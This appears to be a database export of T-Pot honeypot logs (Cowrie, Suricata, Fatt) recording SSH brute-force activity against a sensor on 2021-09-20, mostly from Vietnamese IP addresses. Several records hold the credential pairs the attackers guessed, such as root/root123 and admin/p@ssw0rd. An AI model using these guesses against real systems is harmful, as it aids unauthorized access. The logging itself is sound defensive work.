22827	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:27.589845+03	2021-09-20 14:15:06.71047+03	{"_id": "MAbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:47092 (192.168.176.2:22) [session: 12c2bbc27243]", "session": "12c2bbc27243", "@version": "1", "protocol": "ssh", "src_port": 47092, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.589845Z", "@timestamp": "2021-09-20T11:07:27.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22828	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:27.475845+03	2021-09-20 14:15:06.712503+03	{"_id": "QwbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [monitor/monitor] failed", "session": "833c701c0d6c", "@version": "1", "password": "monitor", "username": "monitor", "timestamp": "2021-09-20T11:07:27.475845Z", "@timestamp": "2021-09-20T11:07:27.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22829	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:27.658739+03	2021-09-20 14:15:06.713505+03	{"_id": "RQbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3cac9f3ff289", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:27.658739Z", "@timestamp": "2021-09-20T11:07:27.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22830	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:28.054125+03	2021-09-20 14:15:06.71547+03	{"_id": "RwbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/root123] failed", "session": "0ddc37f11e28", "@version": "1", "password": "root123", "username": "root", "timestamp": "2021-09-20T11:07:28.054125Z", "@timestamp": "2021-09-20T11:07:28.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22832	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:27.422795+03	2021-09-20 14:15:06.717471+03	{"_id": "QAbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [admin/p@ssw0rd] failed", "session": "5ee0cbf99b22", "@version": "1", "password": "p@ssw0rd", "username": "admin", "timestamp": "2021-09-20T11:07:27.422795Z", "@timestamp": "2021-09-20T11:07:27.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22833	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:27.592799+03	2021-09-20 14:15:06.71847+03	{"_id": "QgbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "12c2bbc27243", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:27.592799Z", "@timestamp": "2021-09-20T11:07:27.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22834	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:27.964422+03	2021-09-20 14:15:06.719499+03	{"_id": "RAbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "65f8e946b8bd", "@version": "1", "duration": 2.449669361114502, "timestamp": "2021-09-20T11:07:27.964422Z", "@timestamp": "2021-09-20T11:07:27.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22835	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:27.935035+03	2021-09-20 14:15:06.721503+03	{"_id": "TwbjAnwBvYTbRNuErwss", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3cac9f3ff289", "@version": "1", "timestamp": "2021-09-20T11:07:27.935035Z", "@timestamp": "2021-09-20T11:07:27.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22836	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:28.812311+03	2021-09-20 14:15:06.7225+03	{"_id": "ZQbjAnwBvYTbRNuEsQuZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 718324345399958, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40616, "dest_port": 22, "timestamp": "2021-09-20T11:07:28.812311Z", "@timestamp": "2021-09-20T11:07:28.812Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22843	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:28.482974+03	2021-09-20 14:15:06.730471+03	{"_id": "gQbjAnwBvYTbRNuEswsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8cd0f79477cf", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:28.482974Z", "@timestamp": "2021-09-20T11:07:28.482Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22837	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:28.464944+03	2021-09-20 14:15:06.723499+03	{"_id": "cQbjAnwBvYTbRNuEswsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:42966 (192.168.176.2:22) [session: 8cd0f79477cf]", "session": "8cd0f79477cf", "@version": "1", "protocol": "ssh", "src_port": 42966, "dest_port": 22, "timestamp": "2021-09-20T11:07:28.464944Z", "@timestamp": "2021-09-20T11:07:28.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22838	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:28.956139+03	2021-09-20 14:15:06.7245+03	{"_id": "cgbjAnwBvYTbRNuEswsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:45050 (192.168.176.2:22) [session: 00d3395919dd]", "session": "00d3395919dd", "@version": "1", "protocol": "ssh", "src_port": 45050, "dest_port": 22, "timestamp": "2021-09-20T11:07:28.956139Z", "@timestamp": "2021-09-20T11:07:28.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22839	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:28.813617+03	2021-09-20 14:15:06.72547+03	{"_id": "bwbjAnwBvYTbRNuEswsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a11410308f1c", "@version": "1", "timestamp": "2021-09-20T11:07:28.813617Z", "@timestamp": "2021-09-20T11:07:28.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22840	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:28.864635+03	2021-09-20 14:15:06.727471+03	{"_id": "cAbjAnwBvYTbRNuEswsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4b89872b6ba9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:28.864635Z", "@timestamp": "2021-09-20T11:07:28.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22841	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:29.104117+03	2021-09-20 14:15:06.728471+03	{"_id": "iAbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:39850 (192.168.176.2:22) [session: ac85c9120dd9]", "session": "ac85c9120dd9", "@version": "1", "protocol": "ssh", "src_port": 39850, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.104117Z", "@timestamp": "2021-09-20T11:07:29.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22842	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:28.951983+03	2021-09-20 14:15:06.72947+03	{"_id": "ewbjAnwBvYTbRNuEswsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [webconfig/webconfig] failed", "session": "fd00b0142700", "@version": "1", "password": "webconfig", "username": "webconfig", "timestamp": "2021-09-20T11:07:28.951983Z", "@timestamp": "2021-09-20T11:07:28.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22844	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:28.739336+03	2021-09-20 14:15:06.73147+03	{"_id": "kAbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42966, "timestamp": "2021-09-20T11:07:28.739336", "@timestamp": "2021-09-20T11:07:28.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
